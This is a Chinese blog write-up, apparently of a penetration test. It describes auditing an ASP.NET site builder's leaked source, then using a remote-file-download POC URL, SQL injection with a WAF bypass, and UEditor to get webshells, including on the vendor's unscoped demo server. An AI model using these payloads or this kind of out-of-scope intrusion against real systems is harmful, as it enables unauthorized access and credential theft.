编程代码:大神教你一天时间渗透一个破站

231 阅读4分钟

使用关键词得到目标源码

前言:对某网站进行渗透测试,此次渗透给的是一个主域名,并且也没有子域,打开了目标网站先对其进行一波信息收集

![](https://upload-images.jianshu.io/upload_images/24762785-600369b47d6afe2a.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)

中间件: IIS 8.5

![](https://upload-images.jianshu.io/upload_images/24762785-da7010bb13cb6892.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)

输入admin发现自动添加了/

说明其目录存在,那么盲猜一波文件,login.aspx default.aspx main.aspx 等等

![](https://upload-images.jianshu.io/upload_images/24762785-3febce0354a82709.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)

最终在login.aspx下面发现后台登录页面。这不猜他一波弱口令??

一顿操作过后账号被锁

![](https://upload-images.jianshu.io/upload_images/24762785-c26db5cc0d5148a2.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)

熟悉的开局,既然如此只能尝试其他方法了。

在主页的html代码中发现了某处信息

![](https://upload-images.jianshu.io/upload_images/24762785-e7f54673a588597c.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)

设计制作?根据后面的域名访问过去,是一个建站公司

那么,入手点来了。IIS8.5+ASP.NET+建站系统

先扫一波备份文件:

![](https://upload-images.jianshu.io/upload_images/24762785-5b2bf5a673379656.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)

400多条ip这开发商还行。使用FOFA查询工具,批量导出

![](https://upload-images.jianshu.io/upload_images/24762785-12e723362ca90e72.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)

然后我们来扫一下备份文件。这里推荐我B哥的扫描器

htt删ps://gith删ub.com/broke删n5/WebAl删iveScan

可以进行批量存活扫描和目录扫描

![](https://upload-images.jianshu.io/upload_images/24762785-9e93d5e2aebf2143.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)

在好几个站下面发现web.zip备份文件。

下载下来过后,对其目标站点文件进行了对比。基本一致

![](https://upload-images.jianshu.io/upload_images/24762785-e6316a654cef7725.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)

拿到代码开始审计多次碰壁

那么开始审计。

![](https://upload-images.jianshu.io/upload_images/24762785-d9c45ea2102beb71.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)

在某接口处放下敏感操作 WebClient.DownloadFile (远程文件下载)

由于该方法需要提供绝对路径。。比较头疼,但我跟踪相关参数。发现。

在另一个方法中调用了该方法。

![](https://upload-images.jianshu.io/upload_images/24762785-eb8722a1c84da9d8.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)

并传入Server.MapPath,这根本不需要找绝对路径了系统都给你安排好了。

那么构造POC:

ash删x/api.ashx?m=do删wnloadfile&FilePath=删asmx.jpg&WebUrl=删ht删tp://***.cn/

![](https://upload-images.jianshu.io/upload_images/24762785-607af3d1a83d4ce6.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)

访问地址:

![](https://upload-images.jianshu.io/upload_images/24762785-7a2e4212237bd75f.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)

文件存在,那么证明可行

回到目标地址:

![](https://upload-images.jianshu.io/upload_images/24762785-a4a29c100c3e492d.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)

被修复了文件不存在

继续回到代码中,审计其他漏洞在其他接口中,也均存在多个漏洞。如ueditor远程抓取漏洞

![](https://upload-images.jianshu.io/upload_images/24762785-96fff8e711a14864.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)

文件重命名可Getshell

![](https://upload-images.jianshu.io/upload_images/24762785-1ea7390808f50613.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)

但是这些接口都需要登录

![](https://upload-images.jianshu.io/upload_images/24762785-53fe7c3e2622b8af.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)

这就很头疼了,打算在一些无需登录的接口中尝试寻找SQL注入。

最终在某处发现SQL拼接。

![](https://upload-images.jianshu.io/upload_images/24762785-ae05011740ef57e9.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)

但是这里调用了IsSafeSqlString检测

![](https://upload-images.jianshu.io/upload_images/24762785-ccd5db211727c035.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)

常见符号基本被卡的死死的

拿下开发商寻找通用账号逆向加解密算法

由于都是使用了相同的建站程序,怀疑有程序内置账户

于是准备通过刚才审计出来的漏洞。从同程序的站点入手

最终在某个站点成功拿到Webshell

看了下相关信息

![](https://upload-images.jianshu.io/upload_images/24762785-750d654118e062b1.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)

居然是厂商的演示站群,存了该开发商所有站点源码。

应该是在开发过程中的演示环境吧站点有很多,估计每个客户都有。

在服务器里翻到了目标站点的演示网站

![](https://upload-images.jianshu.io/upload_images/24762785-d71731193143f93a.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)

根目录下有zip网站备份和sql 数据库备份。

如果说目标站点是直接搬迁过去的,那么后台账户密码应该是一样的。

将其SQL文件下载下来。再其中搜索相关信息

![](https://upload-images.jianshu.io/upload_images/24762785-df0b9a5e62a31078.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)

发现了插入账户的SQL语句。其密码是加密过的

![](https://upload-images.jianshu.io/upload_images/24762785-5785b4e0ac7e29fc.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)

cmd5解不开,看了下密文是33位加密。

但是登录过程中,密码是RSA加密过后传输的,而后端居然是33位的md5加密

![](https://upload-images.jianshu.io/upload_images/24762785-1fa9a75431a5f4c3.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)

因为有源代码,追踪了一下登录了相关方法。

![](https://upload-images.jianshu.io/upload_images/24762785-8112365e30006bd8.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)

密码传入后,调用了CommFun.EnPwd进行了一次加密。

追踪EnPwd方法

![](https://upload-images.jianshu.io/upload_images/24762785-cb1c12ef2d1d43d5.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)

可以看到,传入进来的密码是RSA类型,先进行了一次RSA解密,然后进行了一次DES加密。

追踪DESEncrypt.Encrypt方法。

![](https://upload-images.jianshu.io/upload_images/24762785-edcb0ce4eeed4326.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)

这里是将Encrypt方法封装了一下,并传入加密key。

其核心加密方法为下:

![](https://upload-images.jianshu.io/upload_images/24762785-afae1c883215f2ee.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)

并且,在该类里。还定义了解密方法

![](https://upload-images.jianshu.io/upload_images/24762785-e6e98df61e8f17ae.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)

得到了加密方法和解密方法以及key。那么只需要将其单独拉出来调用就可以了。

![](https://upload-images.jianshu.io/upload_images/24762785-5f0180c539bf2ceb.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)

将得到加密字符进行解密,得到结果

![](https://upload-images.jianshu.io/upload_images/24762785-9f87ae03a2037d95.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)

尝试登录

![](https://upload-images.jianshu.io/upload_images/24762785-12297d93ce6a2b4d.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)

忙活半天,白干了。

柳暗花明拿下目标shell

已经下午4点了。还是一无进展,准备尝试绕过SQL过滤。

就在这时候,我发现了一处SQL注入点。

![](https://upload-images.jianshu.io/upload_images/24762785-5f4a456df1986270.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)

某方法接收了两个参数,却只对一个参数进行了过滤。

在目标网站上测验

![](https://upload-images.jianshu.io/upload_images/24762785-5275f89269d830d1.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)

存在注入,发现存在waf使用垃圾参数填充成功绕过waf

![](https://upload-images.jianshu.io/upload_images/24762785-2783de2b7effb7d2.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)

直接上sqlmap安心的跑,得到系统账户以及密文

将得到的密文进行解密,得到结果

![](https://upload-images.jianshu.io/upload_images/24762785-d72f4c80d4a34ba5.gif?imageMogr2/auto-orient/strip)

更多干货分享 有相关学习资料 请加入我的企鹅圈哦!!!

尝试登录。这下总对了吧!

![](https://upload-images.jianshu.io/upload_images/24762785-8e69c41a990c05cf.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)

终于进来了!!!!

经过之前的审计,发现了很多接口都存在漏洞,现在成功登录了。岂不是随便getshell?

直接ueditor带走。

![](https://upload-images.jianshu.io/upload_images/24762785-45da66824b27b9e6.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)

成功shell